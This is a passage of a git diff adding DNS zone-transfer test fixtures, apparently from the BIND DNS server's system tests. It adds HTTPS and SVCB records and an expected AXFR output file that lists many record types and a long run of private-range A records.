 hip1.example.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D
 hip2.example.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com.
+https0.example.		3600	IN	HTTPS	0 example.net.
+https1.example.		3600	IN	HTTPS	1 . port=60
 ipseckey01.example.	3600	IN	IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
 ipseckey02.example.	3600	IN	IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
 ipseckey03.example.	3600	IN	IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
@@ -134,6 +2636,8 @@ srv01.example.		3600	IN	SRV	0 0 0 .
 srv02.example.		3600	IN	SRV	65535 65535 65535 old-slow-box.example.
 sshfp01.example.	3600	IN	SSHFP	4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83
 sshfp02.example.	3600	IN	SSHFP	1 2 BF29468C83AC58CCF8C85AB7B3BEB054ECF1E38512B8353AB36471FA 88961DCC
+svcb0.example.		3600	IN	SVCB	0 example.net.
+svcb1.example.		3600	IN	SVCB	1 . port=60
 ta.example.		3600	IN	TA	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
 talink0.example.	3600	IN	TALINK	. talink1.example.
 talink1.example.	3600	IN	TALINK	talink0.example. talink2.example.
diff --git a/bin/tests/system/doth/example8.axfr.good b/bin/tests/system/doth/example8.axfr.good
new file mode 100644
index 0000000000..3eb511ce7a
--- /dev/null
+++ b/bin/tests/system/doth/example8.axfr.good
@@ -0,0 +1,2676 @@
+example8.		86400	IN	SOA	ns2.example8. hostmaster.example8. 1397051952 5 5 1814400 3600
+example8.		3600	IN	NS	ns2.example8.
+a01.example8.		3600	IN	A	0.0.0.0
+a02.example8.		3600	IN	A	255.255.255.255
+a601.example8.		3600	IN	A6	0 ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
+a601.example8.		3600	IN	A6	64 ::ffff:ffff:ffff:ffff foo.
+a601.example8.		3600	IN	A6	127 ::1 foo.
+a601.example8.		3600	IN	A6	128  .
+aaaa01.example8.	3600	IN	AAAA	::1
+aaaa02.example8.	3600	IN	AAAA	fd92:7065:b8e:ffff::5
+afsdb01.example8.	3600	IN	AFSDB	0 hostname.example8.
+afsdb02.example8.	3600	IN	AFSDB	65535 .
+amtrelay01.example8.	3600	IN	AMTRELAY 0 0 0
+amtrelay02.example8.	3600	IN	AMTRELAY 0 1 0
+amtrelay03.example8.	3600	IN	AMTRELAY 0 0 1 0.0.0.0
+amtrelay04.example8.	3600	IN	AMTRELAY 0 0 2 ::
+amtrelay05.example8.	3600	IN	AMTRELAY 0 0 3 example.net.
+amtrelay06.example8.	3600	IN	AMTRELAY \# 2 0004
+apl01.example8.		3600	IN	APL	!1:10.0.0.1/32 1:10.0.0.0/24
+apl02.example8.		3600	IN	APL
+atma01.example8.	3600	IN	ATMA	+61200000000
+atma02.example8.	3600	IN	ATMA	+61200000000
+atma03.example8.	3600	IN	ATMA	1234567890abcdef
+atma04.example8.	3600	IN	ATMA	fedcba0987654321
+avc.example8.		3600	IN	AVC	"foo:bar"
+biganswer.example8.	3600	IN	A	10.10.1.1
+biganswer.example8.	3600	IN	A	10.10.1.2
+biganswer.example8.	3600	IN	A	10.10.1.3
+biganswer.example8.	3600	IN	A	10.10.1.4
+biganswer.example8.	3600	IN	A	10.10.1.5
+biganswer.example8.	3600	IN	A	10.10.1.6
+biganswer.example8.	3600	IN	A	10.10.1.7
+biganswer.example8.	3600	IN	A	10.10.1.8
+biganswer.example8.	3600	IN	A	10.10.1.9
+biganswer.example8.	3600	IN	A	10.10.1.10
+biganswer.example8.	3600	IN	A	10.10.1.11
+biganswer.example8.	3600	IN	A	10.10.1.12
+biganswer.example8.	3600	IN	A	10.10.1.13
+biganswer.example8.	3600	IN	A	10.10.1.14
+biganswer.example8.	3600	IN	A	10.10.1.15
+biganswer.example8.	3600	IN	A	10.10.1.16
+biganswer.example8.	3600	IN	A	10.10.1.17
+biganswer.example8.	3600	IN	A	10.10.1.18
+biganswer.example8.	3600	IN	A	10.10.1.19
+biganswer.example8.	3600	IN	A	10.10.1.20
+biganswer.example8.	3600	IN	A	10.10.1.21
+biganswer.example8.	3600	IN	A	10.10.1.22
+biganswer.example8.	3600	IN	A	10.10.1.23
+biganswer.example8.	3600	IN	A	10.10.1.24
+biganswer.example8.	3600	IN	A	10.10.1.25
+biganswer.example8.	3600	IN	A	10.10.1.26
+biganswer.example8.	3600	IN	A	10.10.1.27
+biganswer.example8.	3600	IN	A	10.10.1.28
+biganswer.example8.	3600	IN	A	10.10.1.29
+biganswer.example8.	3600	IN	A	10.10.1.30
+biganswer.example8.	3600	IN	A	10.10.1.31
+biganswer.example8.	3600	IN	A	10.10.1.32
+biganswer.example8.	3600	IN	A	10.10.1.33
+biganswer.example8.	3600	IN	A	10.10.1.34
+biganswer.example8.	3600	IN	A	10.10.1.35
+biganswer.example8.	3600	IN	A	10.10.1.36
+biganswer.example8.	3600	IN	A	10.10.1.37
+biganswer.example8.	3600	IN	A	10.10.1.38
+biganswer.example8.	3600	IN	A	10.10.1.39
+biganswer.example8.	3600	IN	A	10.10.1.40
+biganswer.example8.	3600	IN	A	10.10.1.41
+biganswer.example8.	3600	IN	A	10.10.1.42
+biganswer.example8.	3600	IN	A	10.10.1.43
+biganswer.example8.	3600	IN	A	10.10.1.44
+biganswer.example8.	3600	IN	A	10.10.1.45
+biganswer.example8.	3600	IN	A	10.10.1.46
+biganswer.example8.	3600	IN	A	10.10.1.47
+biganswer.example8.	3600	IN	A	10.10.1.48
+biganswer.example8.	3600	IN	A	10.10.1.49
+biganswer.example8.	3600	IN	A	10.10.1.50
+biganswer.example8.	3600	IN	A	10.10.2.1
+biganswer.example8.	3600	IN	A	10.10.2.2
+biganswer.example8.	3600	IN	A	10.10.2.3
+biganswer.example8.	3600	IN	A	10.10.2.4
+biganswer.example8.	3600	IN	A	10.10.2.5
+biganswer.example8.	3600	IN	A	10.10.2.6
+biganswer.example8.	3600	IN	A	10.10.2.7
+biganswer.example8.	3600	IN	A	10.10.2.8
+biganswer.example8.	3600	IN	A	10.10.2.9
+biganswer.example8.	3600	IN	A	10.10.2.10
+biganswer.example8.	3600	IN	A	10.10.2.11
+biganswer.example8.	3600	IN	A	10.10.2.12
+biganswer.example8.	3600	IN	A	10.10.2.13
+biganswer.example8.	3600	IN	A	10.10.2.14
+biganswer.example8.	3600	IN	A	10.10.2.15
+biganswer.example8.	3600	IN	A	10.10.2.16
+biganswer.example8.	3600	IN	A	10.10.2.17
+biganswer.example8.	3600	IN	A	10.10.2.18
+biganswer.example8.	3600	IN	A	10.10.2.19
+biganswer.example8.	3600	IN	A	10.10.2.20
+biganswer.example8.	3600	IN	A	10.10.2.21
+biganswer.example8.	3600	IN	A	10.10.2.22
+biganswer.example8.	3600	IN	A	10.10.2.23
+biganswer.example8.	3600	IN	A	10.10.2.24
+biganswer.example8.	3600	IN	A	10.10.2.25
+biganswer.example8.	3600	IN	A	10.10.2.26
+biganswer.example8.	3600	IN	A	10.10.2.27
+biganswer.example8.	3600	IN	A	10.10.2.28
+biganswer.example8.	3600	IN	A	10.10.2.29
+biganswer.example8.	3600	IN	A	10.10.2.30
+biganswer.example8.	3600	IN	A	10.10.2.31
+biganswer.example8.	3600	IN	A	10.10.2.32
+biganswer.example8.	3600	IN	A	10.10.2.33
+biganswer.example8.	3600	IN	A	10.10.2.34
+biganswer.example8.	3600	IN	A	10.10.2.35
+biganswer.example8.	3600	IN	A	10.10.2.36
+biganswer.example8.	3600	IN	A	10.10.2.37
+biganswer.example8.	3600	IN	A	10.10.2.38
+biganswer.example8.	3600	IN	A	10.10.2.39
+biganswer.example8.	3600	IN	A	10.10.2.40
+biganswer.example8.	3600	IN	A	10.10.2.41
+biganswer.example8.	3600	IN	A	10.10.2.42
+biganswer.example8.	3600	IN	A	10.10.2.43
+biganswer.example8.	3600	IN	A	10.10.2.44
+biganswer.example8.	3600	IN	A	10.10.2.45
+biganswer.example8.	3600	IN	A	10.10.2.46
+biganswer.example8.	3600	IN	A	10.10.2.47
+biganswer.example8.	3600	IN	A	10.10.2.48
+biganswer.example8.	3600	IN	A	10.10.2.49
+biganswer.example8.	3600	IN	A	10.10.2.50
+biganswer.example8.	3600	IN	A	10.10.3.1
+biganswer.example8.	3600	IN	A	10.10.3.2
+biganswer.example8.	3600	IN	A	10.10.3.3
+biganswer.example8.	3600	IN	A	10.10.3.4
+biganswer.example8.	3600	IN	A	10.10.3.5
+biganswer.example8.	3600	IN	A	10.10.3.6
+biganswer.example8.	3600	IN	A	10.10.3.7
+biganswer.example8.	3600	IN	A	10.10.3.8
+biganswer.example8.	3600	IN	A	10.10.3.9
+biganswer.example8.	3600	IN	A	10.10.3.10
+biganswer.example8.	3600	IN	A	10.10.3.11
+biganswer.example8.	3600	IN	A	10.10.3.12
+biganswer.example8.	3600	IN	A	10.10.3.13
+biganswer.example8.	3600	IN	A	10.10.3.14
+biganswer.example8.	3600	IN	A	10.10.3.15
+biganswer.example8.	3600	IN	A	10.10.3.16
+biganswer.example8.	3600	IN	A	10.10.3.17
+biganswer.example8.	3600	IN	A	10.10.3.18
+biganswer.example8.	3600	IN	A	10.10.3.19
+biganswer.example8.	3600	IN	A	10.10.3.20
+biganswer.example8.	3600	IN	A	10.10.3.21
+biganswer.example8.	3600	IN	A	10.10.3.22
+biganswer.example8.	3600	IN	A	10.10.3.23
+biganswer.example8.	3600	IN	A	10.10.3.24
+biganswer.example8.	3600	IN	A	10.10.3.25
+biganswer.example8.	3600	IN	A	10.10.3.26
+biganswer.example8.	3600	IN	A	10.10.3.27
+biganswer.example8.	3600	IN	A	10.10.3.28
+biganswer.example8.	3600	IN	A	10.10.3.29
+biganswer.example8.	3600	IN	A	10.10.3.30
+biganswer.example8.	3600	IN	A	10.10.3.31
+biganswer.example8.	3600	IN	A	10.10.3.32
+biganswer.example8.	3600	IN	A	10.10.3.33
+biganswer.example8.	3600	IN	A	10.10.3.34
+biganswer.example8.	3600	IN	A	10.10.3.35
+biganswer.example8.	3600	IN	A	10.10.3.36
+biganswer.example8.	3600	IN	A	10.10.3.37
+biganswer.example8.	3600	IN	A	10.10.3.38
+biganswer.example8.	3600	IN	A	10.10.3.39
+biganswer.example8.	3600	IN	A	10.10.3.40
+biganswer.example8.	3600	IN	A	10.10.3.41
+biganswer.example8.	3600	IN	A	10.10.3.42
+biganswer.example8.	3600	IN	A	10.10.3.43
+biganswer.example8.	3600	IN	A	10.10.3.44
+biganswer.example8.	3600	IN	A	10.10.3.45
+biganswer.example8.	3600	IN	A	10.10.3.46
+biganswer.example8.	3600	IN	A	10.10.3.47
+biganswer.example8.	3600	IN	A	10.10.3.48
+biganswer.example8.	3600	IN	A	10.10.3.49
+biganswer.example8.	3600	IN	A	10.10.3.50
+biganswer.example8.	3600	IN	A	10.10.4.1
+biganswer.example8.	3600	IN	A	10.10.4.2
+biganswer.example8.	3600	IN	A	10.10.4.3
+biganswer.example8.	3600	IN	A	10.10.4.4
+biganswer.example8.	3600	IN	A	10.10.4.5
+biganswer.example8.	3600	IN	A	10.10.4.6
+biganswer.example8.	3600	IN	A	10.10.4.7
+biganswer.example8.	3600	IN	A	10.10.4.8
+biganswer.example8.	3600	IN	A	10.10.4.9
+biganswer.example8.	3600	IN	A	10.10.4.10
+biganswer.example8.	3600	IN	A	10.10.4.11
+biganswer.example8.	3600	IN	A	10.10.4.12
+biganswer.example8.	3600	IN	A	10.10.4.13
+biganswer.example8.	3600	IN	A	10.10.4.14
+biganswer.example8.	3600	IN	A	10.10.4.15
+biganswer.example8.	3600	IN	A	10.10.4.16
+biganswer.example8.	3600	IN	A	10.10.4.17
+biganswer.example8.	3600	IN	A	10.10.4.18
+biganswer.example8.	3600	IN	A	10.10.4.19
+biganswer.example8.	3600	IN	A	10.10.4.20
+biganswer.example8.	3600	IN	A	10.10.4.21
+biganswer.example8.	3600	IN	A	10.10.4.22
+biganswer.example8.	3600	IN	A	10.10.4.23
+biganswer.example8.	3600	IN	A	10.10.4.24
+biganswer.example8.	3600	IN	A	10.10.4.25
+biganswer.example8.	3600	IN	A	10.10.4.26
+biganswer.example8.	3600	IN	A	10.10.4.27
+biganswer.example8.	3600	IN	A	10.10.4.28
+biganswer.example8.	3600	IN	A	10.10.4.29
+biganswer.example8.	3600	IN	A	10.10.4.30
+biganswer.example8.	3600	IN	A	10.10.4.31
+biganswer.example8.	3600	IN	A	10.10.4.32
+biganswer.example8.	3600	IN	A	10.10.4.33
+biganswer.example8.	3600	IN	A	10.10.4.34
+biganswer.example8.	3600	IN	A	10.10.4.35
+biganswer.example8.	3600	IN	A	10.10.4.36
+biganswer.example8.	3600	IN	A	10.10.4.37
+biganswer.example8.	3600	IN	A	10.10.4.38
+biganswer.example8.	3600	IN	A	10.10.4.39
+biganswer.example8.	3600	IN	A	10.10.4.40
+biganswer.example8.	3600	IN	A	10.10.4.41
+biganswer.example8.	3600	IN	A	10.10.4.42
+biganswer.example8.	3600	IN	A	10.10.4.43
+biganswer.example8.	3600	IN	A	10.10.4.44
+biganswer.example8.	3600	IN	A	10.10.4.45
+biganswer.example8.	3600	IN	A	10.10.4.46
+biganswer.example8.	3600	IN	A	10.10.4.47
+biganswer.example8.	3600	IN	A	10.10.4.48
+biganswer.example8.	3600	IN	A	10.10.4.49
+biganswer.example8.	3600	IN	A	10.10.4.50
+biganswer.example8.	3600	IN	A	10.10.5.1
+biganswer.example8.	3600	IN	A	10.10.5.2
+biganswer.example8.	3600	IN	A	10.10.5.3
+biganswer.example8.	3600	IN	A	10.10.5.4
+biganswer.example8.	3600	IN	A	10.10.5.5
+biganswer.example8.	3600	IN	A	10.10.5.6
+biganswer.example8.	3600	IN	A	10.10.5.7
+biganswer.example8.	3600	IN	A	10.10.5.8
+biganswer.example8.	3600	IN	A	10.10.5.9
+biganswer.example8.	3600	IN	A	10.10.5.10
+biganswer.example8.	3600	IN	A	10.10.5.11
+biganswer.example8.	3600	IN	A	10.10.5.12
+biganswer.example8.	3600	IN	A	10.10.5.13
+biganswer.example8.	3600	IN	A	10.10.5.14
+biganswer.example8.	3600	IN	A	10.10.5.15
+biganswer.example8.	3600	IN	A	10.10.5.16
+biganswer.example8.	3600	IN	A	10.10.5.17
+biganswer.example8.	3600	IN	A	10.10.5.18
+biganswer.example8.	3600	IN	A	10.10.5.19
+biganswer.example8.	3600	IN	A	10.10.5.20
+biganswer.example8.	3600	IN	A	10.10.5.21
+biganswer.example8.	3600	IN	A	10.10.5.22
+biganswer.example8.	3600	IN	A	10.10.5.23
+biganswer.example8.	3600	IN	A	10.10.5.24
+biganswer.example8.	3600	IN	A	10.10.5.25
+biganswer.example8.	3600	IN	A	10.10.5.26
+biganswer.example8.	3600	IN	A	10.10.5.27
+biganswer.example8.	3600	IN	A	10.10.5.28
+biganswer.example8.	3600	IN	A	10.10.5.29
+biganswer.example8.	3600	IN	A	10.10.5.30
+biganswer.example8.	3600	IN	A	10.10.5.31
+biganswer.example8.	3600	IN	A	10.10.5.32
+biganswer.example8.	3600	IN	A	10.10.5.33
+biganswer.example8.	3600	IN	A	10.10.5.34
+biganswer.example8.	3600	IN	A	10.10.5.35
+biganswer.example8.	3600	IN	A	10.10.5.36
+biganswer.example8.	3600	IN	A	10.10.5.37
+biganswer.example8.	3600	IN	A	10.10.5.38
+biganswer.example8.	3600	IN	A	10.10.5.39
+biganswer.example8.	3600	IN	A	10.10.5.40
+biganswer.example8.	3600	IN	A	10.10.5.41
+biganswer.example8.	3600	IN	A	10.10.5.42
+biganswer.example8.	3600	IN	A	10.10.5.43
+biganswer.example8.	3600	IN	A	10.10.5.44
+biganswer.example8.	3600	IN	A	10.10.5.45
+biganswer.example8.	3600	IN	A	10.10.5.46
+biganswer.example8.	3600	IN	A	10.10.5.47
+biganswer.example8.	3600	IN	A	10.10.5.48
+biganswer.example8.	3600	IN	A	10.10.5.49
+biganswer.example8.	3600	IN	A	10.10.5.50
+biganswer.example8.	3600	IN	A	10.10.6.1
+biganswer.example8.	3600	IN	A	10.10.6.2
+biganswer.example8.	3600	IN	A	10.10.6.3
+biganswer.example8.	3600	IN	A	10.10.6.4
+biganswer.example8.	3600	IN	A	10.10.6.5
+biganswer.example8.	3600	IN	A	10.10.6.6
+biganswer.example8.	3600	IN	A	10.10.6.7
+biganswer.example8.	3600	IN	A	10.10.6.8
+biganswer.example8.	3600	IN	A	10.10.6.9
+biganswer.example8.	3600	IN	A	10.10.6.10
+biganswer.example8.	3600	IN	A	10.10.6.11
+biganswer.example8.	3600	IN	A	10.10.6.12
+biganswer.example8.	3600	IN	A	10.10.6.13
+biganswer.example8.	3600	IN	A	10.10.6.14
+biganswer.example8.	3600	IN	A	10.10.6.15
+biganswer.example8.	3600	IN	A	10.10.6.16
+biganswer.example8.	3600	IN	A	10.10.6.17
+biganswer.example8.	3600	IN	A	10.10.6.18
+biganswer.example8.	3600	IN	A	10.10.6.19
+biganswer.example8.	3600	IN	A	10.10.6.20
+biganswer.example8.	3600	IN	A	10.10.6.21
+biganswer.example8.	3600	IN	A	10.10.6.22
+biganswer.example8.	3600	IN	A	10.10.6.23
+biganswer.example8.	3600	IN	A	10.10.6.24
+biganswer.example8.	3600	IN	A	10.10.6.25
+biganswer.example8.	3600	IN	A	10.10.6.26
+biganswer.example8.	3600	IN	A	10.10.6.27
+biganswer.example8.	3600	IN	A	10.10.6.28
+biganswer.example8.	3600	IN	A	10.10.6.29
+biganswer.example8.	3600	IN	A	10.10.6.30
+biganswer.example8.	3600	IN	A	10.10.6.31
+biganswer.example8.	3600	IN	A	10.10.6.32
+biganswer.example8.	3600	IN	A	10.10.6.33
+biganswer.example8.	3600	IN	A	10.10.6.34
+biganswer.example8.	3600	IN	A	10.10.6.35
+biganswer.example8.	3600	IN	A	10.10.6.36
+biganswer.example8.	3600	IN	A	10.10.6.37
+biganswer.example8.	3600	IN	A	10.10.6.38
+biganswer.example8.	3600	IN	A	10.10.6.39
+biganswer.example8.	3600	IN	A	10.10.6.40
+biganswer.example8.	3600	IN	A	10.10.6.41
+biganswer.example8.	3600	IN	A	10.10.6.42
+biganswer.example8.	3600	IN	A	10.10.6.43
+biganswer.example8.	3600	IN	A	10.10.6.44
+biganswer.example8.	3600	IN	A	10.10.6.45
+biganswer.example8.	3600	IN	A	10.10.6.46
+biganswer.example8.	3600	IN	A	10.10.6.47
+biganswer.example8.	3600	IN	A	10.10.6.48
+biganswer.example8.	3600	IN	A	10.10.6.49
+biganswer.example8.	3600	IN	A	10.10.6.50
+biganswer.example8.	3600	IN	A	10.10.7.1
+biganswer.example8.	3600	IN	A	10.10.7.2
+biganswer.example8.	3600	IN	A	10.10.7.3
+biganswer.example8.	3600	IN	A	10.10.7.4
+biganswer.example8.	3600	IN	A	10.10.7.5
+biganswer.example8.	3600	IN	A	10.10.7.6
+biganswer.example8.	3600	IN	A	10.10.7.7
+biganswer.example8.	3600	IN	A	10.10.7.8
+biganswer.example8.	3600	IN	A	10.10.7.9
+biganswer.example8.	3600	IN	A	10.10.7.10
+biganswer.example8.	3600	IN	A	10.10.7.11
+biganswer.example8.	3600	IN	A	10.10.7.12
+biganswer.example8.	3600	IN	A	10.10.7.13
+biganswer.example8.	3600	IN	A	10.10.7.14
+biganswer.example8.	3600	IN	A	10.10.7.15
+biganswer.example8.	3600	IN	A	10.10.7.16
+biganswer.example8.	3600	IN	A	10.10.7.17
+biganswer.example8.	3600	IN	A	10.10.7.18
+biganswer.example8.	3600	IN	A	10.10.7.19
+biganswer.example8.	3600	IN	A	10.10.7.20
+biganswer.example8.	3600	IN	A	10.10.7.21
+biganswer.example8.	3600	IN	A	10.10.7.22
+biganswer.example8.	3600	IN	A	10.10.7.23
+biganswer.example8.	3600	IN	A	10.10.7.24
+biganswer.example8.	3600	IN	A	10.10.7.25
+biganswer.example8.	3600	IN	A	10.10.7.26
+biganswer.example8.	3600	IN	A	10.10.7.27
+biganswer.example8.	3600	IN	A	10.10.7.28
+biganswer.example8.	3600	IN	A	10.10.7.29
+biganswer.example8.	3600	IN	A	10.10.7.30
+biganswer.example8.	3600	IN	A	10.10.7.31
+biganswer.example8.	3600	IN	A	10.10.7.32
+biganswer.example8.	3600	IN	A	10.10.7.33
+biganswer.example8.	3600	IN	A	10.10.7.34
+biganswer.example8.	3600	IN	A	10.10.7.35
+biganswer.example8.	3600	IN	A	10.10.7.36
+biganswer.example8.	3600	IN	A	10.10.7.37
+biganswer.example8.	3600	IN	A	10.10.7.38
+biganswer.example8.	3600	IN	A	10.10.7.39
+biganswer.example8.	3600	IN	A	10.10.7.40
+biganswer.example8.	3600	IN	A	10.10.7.41
+biganswer.example8.	3600	IN	A	10.10.7.42
+biganswer.example8.	3600	IN	A	10.10.7.43
+biganswer.example8.	3600	IN	A	10.10.7.44
+biganswer.example8.	3600	IN	A	10.10.7.45
+biganswer.example8.	3600	IN	A	10.10.7.46
+biganswer.example8.	3600	IN	A	10.10.7.47
+biganswer.example8.	3600	IN	A	10.10.7.48
+biganswer.example8.	3600	IN	A	10.10.7.49
+biganswer.example8.	3600	IN	A	10.10.7.50
+biganswer.example8.	3600	IN	A	10.10.8.1
+biganswer.example8.	3600	IN	A	10.10.8.2
+biganswer.example8.	3600	IN	A	10.10.8.3
+biganswer.example8.	3600	IN	A	10.10.8.4
+biganswer.example8.	3600	IN	A	10.10.8.5
+biganswer.example8.	3600	IN	A	10.10.8.6
+biganswer.example8.	3600	IN	A	10.10.8.7
+biganswer.example8.	3600	IN	A	10.10.8.8
+biganswer.example8.	3600	IN	A	10.10.8.9
+biganswer.example8.	3600	IN	A	10.10.8.10
+biganswer.example8.	3600	IN	A	10.10.8.11
+biganswer.example8.	3600	IN	A	10.10.8.12
+biganswer.example8.	3600	IN	A	10.10.8.13
+biganswer.example8.	3600	IN	A	10.10.8.14
+biganswer.example8.	3600	IN	A	10.10.8.15
+biganswer.example8.	3600	IN	A	10.10.8.16
+biganswer.example8.	3600	IN	A	10.10.8.17
+biganswer.example8.	3600	IN	A	10.10.8.18
+biganswer.example8.	3600	IN	A	10.10.8.19
+biganswer.example8.	3600	IN	A	10.10.8.20
+biganswer.example8.	3600	IN	A	10.10.8.21
+biganswer.example8.	3600	IN	A	10.10.8.22
+biganswer.example8.	3600	IN	A	10.10.8.23
+biganswer.example8.	3600	IN	A	10.10.8.24
+biganswer.example8.	3600	IN	A	10.10.8.25
+biganswer.example8.	3600	IN	A	10.10.8.26
+biganswer.example8.	3600	IN	A	10.10.8.27
+biganswer.example8.	3600	IN	A	10.10.8.28
+biganswer.example8.	3600	IN	A	10.10.8.29
+biganswer.example8.	3600	IN	A	10.10.8.30
+biganswer.example8.	3600	IN	A	10.10.8.31
+biganswer.example8.	3600	IN	A	10.10.8.32
+biganswer.example8.	3600	IN	A	10.10.8.33
+biganswer.example8.	3600	IN	A	10.10.8.34
+biganswer.example8.	3600	IN	A	10.10.8.35
+biganswer.example8.	3600	IN	A	10.10.8.36
+biganswer.example8.	3600	IN	A	10.10.8.37
+biganswer.example8.	3600	IN	A	10.10.8.38
+biganswer.example8.	3600	IN	A	10.10.8.39
+biganswer.example8.	3600	IN	A	10.10.8.40
+biganswer.example8.	3600	IN	A	10.10.8.41
+biganswer.example8.	3600	IN	A	10.10.8.42
+biganswer.example8.	3600	IN	A	10.10.8.43
+biganswer.example8.	3600	IN	A	10.10.8.44
+biganswer.example8.	3600	IN	A	10.10.8.45
+biganswer.example8.	3600	IN	A	10.10.8.46
+biganswer.example8.	3600	IN	A	10.10.8.47
+biganswer.example8.	3600	IN	A	10.10.8.48
+biganswer.example8.	3600	IN	A	10.10.8.49
+biganswer.example8.	3600	IN	A	10.10.8.50
+biganswer.example8.	3600	IN	A	10.10.9.1
+biganswer.example8.	3600	IN	A	10.10.9.2
+biganswer.example8.	3600	IN	A	10.10.9.3
+biganswer.example8.	3600	IN	A	10.10.9.4
+biganswer.example8.	3600	IN	A	10.10.9.5
+biganswer.example8.	3600	IN	A	10.10.9.6
+biganswer.example8.	3600	IN	A	10.10.9.7
+biganswer.example8.	3600	IN	A	10.10.9.8
+biganswer.example8.	3600	IN	A	10.10.9.9
+biganswer.example8.	3600	IN	A	10.10.9.10
+biganswer.example8.	3600	IN	A	10.10.9.11
+biganswer.example8.	3600	IN	A	10.10.9.12
+biganswer.example8.	3600	IN	A	10.10.9.13
+biganswer.example8.	3600	IN	A	10.10.9.14
+biganswer.example8.	3600	IN	A	10.10.9.15
+biganswer.example8.	3600	IN	A	10.10.9.16
+biganswer.example8.	3600	IN	A	10.10.9.17
+biganswer.example8.	3600	IN	A	10.10.9.18
+biganswer.example8.	3600	IN	A	10.10.9.19
+biganswer.example8.	3600	IN	A	10.10.9.20
+biganswer.example8.	3600	IN	A	10.10.9.21
+biganswer.example8.	3600	IN	A	10.10.9.22
+biganswer.example8.	3600	IN	A	10.10.9.23
+biganswer.example8.	3600	IN	A	10.10.9.24
+biganswer.example8.	3600	IN	A	10.10.9.25
+biganswer.example8.	3600	IN	A	10.10.9.26
+biganswer.example8.	3600	IN	A	10.10.9.27
+biganswer.example8.	3600	IN	A	10.10.9.28
+biganswer.example8.	3600	IN	A	10.10.9.29
+biganswer.example8.	3600	IN	A	10.10.9.30
+biganswer.example8.	3600	IN	A	10.10.9.31
+biganswer.example8.	3600	IN	A	10.10.9.32
+biganswer.example8.	3600	IN	A	10.10.9.33
+biganswer.example8.	3600	IN	A	10.10.9.34
+biganswer.example8.	3600	IN	A	10.10.9.35
+biganswer.example8.	3600	IN	A	10.10.9.36
+biganswer.example8.	3600	IN	A	10.10.9.37
+biganswer.example8.	3600	IN	A	10.10.9.38
+biganswer.example8.	3600	IN	A	10.10.9.39
+biganswer.example8.	3600	IN	A	10.10.9.40
+biganswer.example8.	3600	IN	A	10.10.9.41
+biganswer.example8.	3600	IN	A	10.10.9.42
+biganswer.example8.	3600	IN	A	10.10.9.43
+biganswer.example8.	3600	IN	A	10.10.9.44
+biganswer.example8.	3600	IN	A	10.10.9.45
+biganswer.example8.	3600	IN	A	10.10.9.46
+biganswer.example8.	3600	IN	A	10.10.9.47
+biganswer.example8.	3600	IN	A	10.10.9.48
+biganswer.example8.	3600	IN	A	10.10.9.49
+biganswer.example8.	3600	IN	A	10.10.9.50
+biganswer.example8.	3600	IN	A	10.10.10.1
+biganswer.example8.	3600	IN	A	10.10.10.2
+biganswer.example8.	3600	IN	A	10.10.10.3
+biganswer.example8.	3600	IN	A	10.10.10.4
+biganswer.example8.	3600	IN	A	10.10.10.5
+biganswer.example8.	3600	IN	A	10.10.10.6
+biganswer.example8.	3600	IN	A	10.10.10.7
+biganswer.example8.	3600	IN	A	10.10.10.8
+biganswer.example8.	3600	IN	A	10.10.10.9
+biganswer.example8.	3600	IN	A	10.10.10.10
+biganswer.example8.	3600	IN	A	10.10.10.11
+biganswer.example8.	3600	IN	A	10.10.10.12
+biganswer.example8.	3600	IN	A	10.10.10.13
+biganswer.example8.	3600	IN	A	10.10.10.14
+biganswer.example8.	3600	IN	A	10.10.10.15
+biganswer.example8.	3600	IN	A	10.10.10.16
+biganswer.example8.	3600	IN	A	10.10.10.17
+biganswer.example8.	3600	IN	A	10.10.10.18
+biganswer.example8.	3600	IN	A	10.10.10.19
+biganswer.example8.	3600	IN	A	10.10.10.20
+biganswer.example8.	3600	IN	A	10.10.10.21
+biganswer.example8.	3600	IN	A	10.10.10.22
+biganswer.example8.	3600	IN	A	10.10.10.23
+biganswer.example8.	3600	IN	A	10.10.10.24
+biganswer.example8.	3600	IN	A	10.10.10.25
+biganswer.example8.	3600	IN	A	10.10.10.26
+biganswer.example8.	3600	IN	A	10.10.10.27
+biganswer.example8.	3600	IN	A	10.10.10.28
+biganswer.example8.	3600	IN	A	10.10.10.29
+biganswer.example8.	3600	IN	A	10.10.10.30
+biganswer.example8.	3600	IN	A	10.10.10.31
+biganswer.example8.	3600	IN	A	10.10.10.32
+biganswer.example8.	3600	IN	A	10.10.10.33
+biganswer.example8.	3600	IN	A	10.10.10.34
+biganswer.example8.	3600	IN	A	10.10.10.35
+biganswer.example8.	3600	IN	A	10.10.10.36
+biganswer.example8.	3600	IN	A	10.10.10.37
+biganswer.example8.	3600	IN	A	10.10.10.38
+biganswer.example8.	3600	IN	A	10.10.10.39
+biganswer.example8.	3600	IN	A	10.10.10.40
+biganswer.example8.	3600	IN	A	10.10.10.41
+biganswer.example8.	3600	IN	A	10.10.10.42
+biganswer.example8.	3600	IN	A	10.10.10.43
+biganswer.example8.	3600	IN	A	10.10.10.44
+biganswer.example8.	3600	IN	A	10.10.10.45
+biganswer.example8.	3600	IN	A	10.10.10.46
+biganswer.example8.	3600	IN	A	10.10.10.47
+biganswer.example8.	3600	IN	A	10.10.10.48
+biganswer.example8.	3600	IN	A	10.10.10.49
